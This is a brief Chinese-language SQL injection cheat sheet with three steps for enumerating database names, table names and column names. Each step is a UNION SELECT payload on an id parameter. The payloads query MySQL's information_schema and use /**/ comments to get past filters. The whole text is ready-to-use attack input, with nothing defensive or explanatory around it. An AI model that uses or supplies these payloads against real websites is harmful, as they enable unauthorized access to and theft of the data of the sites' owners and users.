查库
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 17(表位置),1/*
查表
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**
/TABLE_SCHEMA=库的HEX值/**/limit/**/17(表位置),1
查段
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/
TABLE_NAME=表的HEX值/**/limit/**/1,1
